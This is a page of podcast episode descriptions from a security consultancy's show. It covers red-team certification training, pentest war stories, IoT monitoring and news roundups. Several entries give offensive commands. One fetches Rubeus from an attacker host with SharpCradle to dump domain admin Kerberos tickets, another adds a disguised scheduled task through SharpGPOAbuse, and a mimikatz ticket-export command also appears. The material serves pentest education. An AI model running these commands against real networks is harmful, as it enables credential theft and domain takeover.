7 Minute Security

Today, Gh0sthax and I talk about week 3/4 of the CRTP - Certified Red Team Professional training, and how it's kicking our butts a bit. Key points include: We agree this is not a certification for folks who are new to pentesting Don't expect to be following along "live" with the instructor during the training sessions You'll need to do a flippin' ton of studying and practicing on your own in between the live sessions As you follow along with the lab exercises, some things won't work - and that might be by design, but the lab manual might not give you a heads-up. In those cases, be sure to check with your classmates in the Discord channel Problems popping shells? Hint: it might not be a problem with your tools...but with your network/firewalll config! The more PowerShell skills you can walk into this training with, the better. We've got to play with some tools that were new(ish) to us: PowerUpSQL - check out these awesome cheat sheets too! HeidiSQL Rubeus If you're an absolute rockstar in th

Merry Christmas! Happy holidays! Please enjoy the last cyber news edition of 2020, brought to us by our good pal Gh0stHax. Stories covered include: You've probably heard this by now, but FireEye had a breach that was truly sophisticated. Here's a really nice plain English breakdown of the situation for folks who may not be interested in the deep technical details. Chris Krebs, former CISA director, sues Trump campaign lawyer after death threats CSOOnline has a nice article on 4 security trends to watch for in 2021 which we may or may not agree with!  

Today's episode continues part 1 of our series on the Certified Red Team Professional certification. Key points from today's episode include: It's probably a better idea to run Bloodhound on your local machine so you don't crush the student VM's resources Running Invoke-Command is one of my new favorite things. Check this post for a bunch of cheatsheet tips for running commands in PowerShell against other hosts. Silver, gold and skeleton key attacks in AD - are they awesome? Yes? Do I see myself using those in short-term pentest enagements? Meh. Wanna build a home lab to do some of these fun pentest stuff? Our buddy k3nundrum in Slack recommended we check out this. It looks awesome. And the devs of the tool have a video on it here. When you're popping shells and privs all over the place in the lab, it can be confusing to figure out which machines you have what privileges on. I like using the klist command. Or, from a mimikatz prompt, try kerberos::list /export.  

Welp, I need another certification like I need a hole in the head, but that didn't stop me from signing up for the Certified Red Team Professional. So I've started a series on sharing what I'm learning as I proceed through the certification path. (We're also talking about this on the 7MS forums) Here are some of the highlights from week 1: Boy oh boy is PowerView handy for extracting juicy info out of Active Directory. It works well when served with a side order of the Microsoft signed DLL for the ActiveDirectory PowerShell module I wouldn't say this course is for beginners. You will get some high level intro to PowerShell, Active Directory and pentesting, but you will need to do a ton of self-study and banging around in the lab to fill in some skill gaps. When trying to pop a Jenkins box, I learned about a few new helpful tools I'd never played with before: HFS - simple HTTP file server Powercat - for catching shells! Then on a personal front, I have a few updates to share as well: The Thanksgivi

Happy December! Today I virtually sat down with Christopher Fielder of Arctic Wolf, who started his career in security at 18 (I was just playing a lot of video games when I was that old)! Christopher has served in the Air Force, worked for a university and SANS, served for some three-letter organizations - and more! Christopher and I had a great chat about a variety of security topics, including: Threat hunting - why it's a term that means so many things to different people, how to get started in it and how to start building a threat hunting team Threat intel - its relationship to threat hunting, and how to make sense of the jillions of intel feeds out there Pentesting your MDR/SIEM - we talk about our gist on evaluating an MDR/SIEM, and how to throw some technical tests at these systems to figure out if they're worth the cost!

Happy Thanksgiving! While the turkey and pie settle in your belly, why not also digest some fantastic security news stories with our pal Gh0sthax? Today's stories include: It was another epic month of patching - both Threatpost and Krebs have great coverage of what you need to know. We don't support software pirating, but it's interesting that we just got a demo of Cobalt Strike spun up, and now the source code was leaked. Always download software updates from their source, not from not-so-trustworthy sources like random search results in Google and pop-up boxes. As a follow up to a story from last month, ransomware was not to blame for the death of a woman in Germany.

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features: Great blue team tools alerting our customer to a lot of the stuff we were doing An EDR that we tried to beat up (but it beat us up instead) SharpGPOAbuse which we talked about extensively last week Separation of "everyday" accounts from privileged accounts Multi-factor authentication bypass! Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation. The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds: SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert tha

Hello friends! Sorry to be late with this episode (again) but we've been heads-down in a lot of cool security work, coming up for air when we can! Today's episode features: A little welcome music that is not the usual scatting of gibberish I torture you with Some cool tools I'm playing with in the lab that we'll do future episodes on in the future: DetectionLab to practice detecting all the bad things! BadBlood to dirty up your AD (your test AD with groups, computers, permissions, etc.). I wish the user import script would let you choose a list of bad passwords to assign the users, but you can also run it manually if you want. Cobalt Strike - we're doing a demo right now! Most of today's episode focuses on SharpGPOAbuse, a tool that can be used to abuse "generic write" access to GPOs (which you might identify after running BloodHound). Here's a sample syntax you could run: SharpGPOAbuse.exe --AddUserTask --TaskName "Totes Safe Windoze Updatez" --Author SAMPLECO\ADMINISTRATOR --Command "cmd.exe" --Arg

Hi! Sorry to be so late with this episode, but I'm excited to share with you another fun tale of pentest pwnage! Key points from today's episode include: We do not do these episodes to brag or put down any company about their security posture. We do do (heh, I said "do do") these episodes to share what we're learning about pentesting it helps you become a better network defender and/or offender! Early in an engagement it can be fruitful to run Pcredz to find goodies in the clear like hashes, CC numbers, SNMP traps and more! Run hashes right through the Hashes.org cracked Pwned Passwords list for more management-level impact on your efforts. Do the same with Kerberoastable accounts Once you've gotten a local or domain admin account, use CrackMapExec to dump a workstation's local hashes, then do something VERY important that I just learned this week (details in today's episode) to maybe get insta-DA!

Happy October and merry Halloween everybody! We're back with our buddy Joe "the machine" Skeen who is also now a Principal Security Engineer for 7MS! He's also working on a new cert, and speaking of certs, 7MS is now PCIP certified! Today's great cyber stories include: Azure AD is a single point of failure in many networks Ransomware sophistication continues to grow - as demonstrated in this story, this one and this one Ransomware such as Ryuk can go from phishing email to total domain domination in 5 hours or less Don't forget to patch - Microsoft remediated some doozies! Something like 0 patch looks particularly interesting to aid in your patching efforts (not a sponsor, but maybe some day ;-) P.S. We've got a Halloween Webinar coming up Friday with our friends at Netwrix - sign up and we'll see you there!

Yay - I'm a PCIP now! I welcome you to check out our past episodes on PCIP, but in some ways this will be the be all, end all episode on the topic. Today I cover: Study materials that helped me prepare: PCIP book by Linda Jones (I couldn't actually get this one in time but it looks awesome!) Flashcards from Cram Flashcards from Quizlet My flashcards from Quizlet (I'll need to sanitize these and give you the password. Contact me if interested) Flashcards from ProProfs Documentation from PCI Web site itself - specifically the glossary, quick reference guide and my personal favorite, the prioritized approach guidance I also talk about taking the exam from home which was an interesting experience (as well as a privacy/security mini nightmare!).

Hello! This episode is a true homecoming in that I actually recorded it from home. Yay! WARNING!!! WARNING!!! This episode contains a ton of singing. If you don't like singing, do not listen!!! With that said, I wanted to follow up on part 1 and 2 of this series and share some additional cool tools that others have told me about in regards to securing and monitoring all your ioTs! Home Assistant - is described on its Wikipedia page as "a free and open-source home automation software designed to be the central control system in a smart home or smart house." You can quickly grab the HA image and dump it on an SD card with Balena Etcher and be up and running in minutes. I found HA a bit overkill/complicated for my needs, but my pal Hackernovice (on 7MS Slack) says this video demonstrates why he really loves it. Prometheus, recommended by our pal Mojodojo101, is "a systems and service monitoring system. It collects metrics from configured targets at given intervals, evaluates rule expressions, displays the re

Hey, hope you're having a great week! The last few weeks have had somewhat of a homecoming and home cleaning theme. To continue that train of thought, over the last few days I've gotten heavy into cleaning up my cloud clutter - cloud services, email, file sharing, etc. - in an effort to be more secure and have a reduced digital footprint. Today's tips include: Double-check that any device you have that supports full-disk encryption has it enabled On all your machines, clean up old straggler artifacts in C:, desktop folder, downloads folder, etc. Use the nifty built in tools for Windows 10 to free up even more disk space (I just learned about this one recently - Windirstat and Treesizefree were my go-tos for years) Got old PCs sitting around you're not using? Nuke 'em with DBAN. Go into your password vault and clean out creds for services you don't use anymore (especially for old client projects!) Purge your file share services (Dropbox, OneDrive, etc. on a regular basis), and/or bring older archive

Hi again! It's sort of fun to release two episodes in one week for a change. If you missed part 1 on our ioT security series, check it out here. Today we dive into some free/cheap monitoring solutions you can use to keep tabs on your ioT network (or any network, really): Nagios - it's old school but gets the job done. This article helped me get it going on an RPi. SolarWinds IP monitor - it was quick and easy to get up and running, but the 40 monitors you're allotted get burned up pretty quick if you have a decent number of devices to monitor PRTG - this is the winner in my book. It has a generous amount of monitors, quick/easy install, and a native mobile app!

WE'RE HOME! After almost a year after our fire, we're back, baby! This episode is somewhat of a homecoming that dovetails into an episode about ioT security. I've basically done a 180 degree spin on ioT stuff. I now love the coolness and convenience of these things while simultaneously being terrified of the security risks. Is there a happy balance somewhere between the two? Maybe. Today we dive into ioT security, specifically: Setting up a ioT dedicated wireless network Quarantining it so it can only talk to the Internet Poking holes in the firewall to allow ioT DNS requests to be captured Scanning your ioT for services and potential default/weak cred use

Hi! Today our pal Joe "The Machine" Skeen (a.k.a. Gh0sthax has prepared some cyber-licious actionable news stories for us to chew on. Today's stories include: Cybersecurity skills gap (powered by lack of career development!) Which cyber jobs are hot - or not? Mysterious wave of DDoS attacks The Magecart threat group pwns thousands of ecommerce sites On a parting note, don't forget to patch your DCs against Zerologon! Here's a great Twitter thread breakdown that explains it in more detail

Yay! It's time for another tale of pentest pwnage! Highlights include: Making sure you take multiple rounds of "dumps" to get all the delicious local admin creds. Why lsassy is my new best friend. I gave a try to using a Ubuntu box instead of Kali as my attacking system for this test. I had pretty good results. Here's my script to quickly give Ubuntu a Kali-like flair: sudo apt-get update sudo apt-get upgrade -y sudo apt-get install openssh-server -y sudo apt-get install nmap curl dnsrecon git net-tools open-vm-tools-desktop python3.8 python3-pip unzip wget xsltproc -y #Aha helps take output from testssl.sh and make it nice and HTML-y sudo git clone https://github.com/theZiz/aha.git /opt/aha #Awesome-nmap-grep makes it easy to grep nmap exports for just the data you need! sudo git clone https://github.com/leonjza/awesome-nmap-grep.git /opt/awesome-nmap-grep #bpatty is...well...bpatty! sudo git clone https://github.com/braimee/bpatty.git /opt/bpatty #CrackMapExec is...awesome sudo mkdir /opt/cme

Today we're talking business! We've got some exciting news and updates to share with you since we last did a "crying" episode last fall: 7MS hired a VP of sales and marketing: Clyde Cooper! We've added some new tools to our tools/services gist: Having a true sales force for the first time has prompted us to invest in Salesforce. There are a few gotchas with signing up for a Salesforce trial and then migrating to a paid plan (discussed more in today's episode) We're trying to "eat our own dog food" and part of that includes good inventory management. For that we've started to play with Rumble and reaaaaaaaaaaalllly like it Recording an "about us" video with a production company is exciting, stressful and awkward Today I met the guy who wins the Internet (or at least LinkedIn) - he sent me a personalized video with an idea I'm definitely going to steal for future marketing initiatives For really no reason at all, I sing for you a bit in this episode On that note, I absolutely love this song. I feel like it

Today we're thrilled to have our friend and PlexTrac CEO Dan DeCloss back to the program! (P.S. PlexTrac is launching runbooks as a feature - and you should definitely check out PlexTrac's upcoming Webinar about runbooks on September 9!). We also did a PlexTrac 101 Webinar with them recently! You may remember Dan from such podcasts as this one when we first talked to him in 2019. Dan and I have a lot in common in that we both started security companies about the same time, so I had a lot of questions for Dan around how business has been going since we last talked on the podcast. Today our topics/questions include: What are the (good) warning signs that a passion project you have could be a viable business? Why "having all the jobs there has ever been" is a great way to figure out it's time to start your own business :-) At what point does a side project have to become what you do for your day job? How do you safely prepare to quit a comfortable corporate life to life as a small biz owner? Do you go 10

Hola! We're back again with our amigo Joe "The Machine" Skeen (a.k.a. Gh0sthax) who has prepared some awesome and actionable news stories for us to digest. Today's stories include: The Twitter hack that promised free Bitcoin for everybody - with good coverage by Krebs and Threatpost Garmin's personal and painful experience with ransomware Joe offers 7 tips any org can use to reduce their likelihood of getting pwned with an attack or ransomware Are we ready to endure a cyber crisis? Would you fall for this social engineering attack?